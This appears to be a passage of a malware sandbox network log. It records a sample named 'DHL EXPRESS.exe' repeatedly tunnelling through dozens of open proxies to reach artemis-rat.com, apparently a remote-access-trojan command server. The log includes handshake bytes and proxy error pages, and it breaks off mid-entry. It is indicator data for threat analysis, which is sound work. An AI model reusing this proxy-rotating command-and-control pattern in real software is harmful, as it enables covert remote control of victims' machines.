Mar 11, 2024 18:36:46.072575092 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.481775999 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 17:36:46 GMT Server: nginx Content-Type: text/plain Content-Length: 0
Mar 11, 2024 18:36:46.624896049 CET	177	OUT	Data Raw: 16 03 03 00 ac 01 00 00 a8 03 03 65 ef 41 2d 3a df 90 de e2 6a 28 da f1 8e 4a 73 d2 b1 f8 0d 43 82 67 74 ab ed 91 27 8f 98 16 56 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: eA-:j(JsCgt'V*,+0/$#('=<5/Uartemis-rat.com#
Mar 11, 2024 18:36:47.033782959 CET	1079	IN	Data Raw: 16 03 03 00 3d 02 00 00 39 03 03 27 98 da e0 80 71 87 4f 1d 47 0c 88 ac 2e f9 3d 98 9a b1 af e4 6a 17 f6 44 4f 57 4e 47 52 44 01 00 c0 30 00 00 11 ff 01 00 01 00 00 0b 00 04 03 00 01 02 00 17 00 00 16 03 03 02 b6 0b 00 02 b2 00 02 af 00 02 ac 30 Data Ascii: =9'qOG.=jDOWNGRD0000H010Uartemis-rat.com0240311164422Z260311164422Z010Uartemis-rat.com0"0H0`g-(QLL\
Mar 11, 2024 18:36:47.084517002 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 10 29 14 c3 d0 43 79 d8 ff 01 3b 2f 51 06 ac 8f 19 0c 4e 64 75 73 a3 1d 3e 02 7f fc 5b 4b f7 48 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 82 3f c1 64 ed 28 0f 66 f4 dc ba b5 cc 89 87 8c 5e a0 18 75 9a Data Ascii: %! )Cy;/QNdus>[KH(?d(f^u70kI9g
Mar 11, 2024 18:36:47.491666079 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 eb fb 6b 32 63 54 f5 de 2e 9c 45 7d 28 8f 98 f6 f4 84 4f 66 44 35 56 f9 11 53 f2 95 da ae 6e ca 0e c3 58 8b 7c ee c9 97 Data Ascii: (k2cT.E}(OfD5VSnX\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
300	192.168.2.8	50891	43.155.165.196	15673	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.077116966 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
301	192.168.2.8	50961	72.195.114.169	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.077939987 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
302	192.168.2.8	50917	47.93.121.200	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.079464912 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.398391962 CET	767	IN	HTTP/1.1 403 Forbidden Server: Beaver Cache-Control: no-cache Content-Type: text/html Content-Length: 635 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 38 38 37 38 32 32 38 39 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003887822894"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
303	192.168.2.8	51011	162.159.246.135	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.080203056 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.241350889 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:46 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
304	192.168.2.8	50989	198.199.83.206	8000	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.082232952 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
305	192.168.2.8	50923	39.108.227.108	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.090105057 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.430639982 CET	767	IN	HTTP/1.1 403 Forbidden Server: Beaver Cache-Control: no-cache Content-Type: text/html Content-Length: 635 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 38 38 37 38 32 32 38 39 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003887822894"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
306	192.168.2.8	50865	89.36.114.38	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.098185062 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.893747091 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.269007921 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.075817108 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:48 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
307	192.168.2.8	49937	176.213.141.107	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.098524094 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.268918037 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.269738913 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.269104958 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:10.268971920 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
308	192.168.2.8	51064	47.236.85.113	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.110318899 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
309	192.168.2.8	51018	185.162.229.70	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.113076925 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.267401934 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:46 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
310	192.168.2.8	51067	47.236.85.113	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.115144014 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
311	192.168.2.8	50969	195.248.243.149	7237	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.119026899 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.768731117 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.706933022 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.520081997 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.268433094 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.909914970 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
312	192.168.2.8	51068	47.236.85.113	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.119230986 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
313	192.168.2.8	50952	128.199.116.34	4444	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.119573116 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.831244946 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.910113096 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:11.439677954 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
314	192.168.2.8	51006	38.54.95.19	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.122200012 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.341069937 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
315	192.168.2.8	51071	47.236.85.113	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.122638941 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
316	192.168.2.8	50883	93.171.220.229	8888	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.127336979 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.531030893 CET	327	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Mar 2024 17:36:46 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
317	192.168.2.8	50934	103.49.114.195	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.133222103 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
318	192.168.2.8	50986	60.188.102.225	18080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.149390936 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
319	192.168.2.8	50919	103.125.240.237	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.151216984 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.603665113 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
320	192.168.2.8	50988	58.234.116.197	8197	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
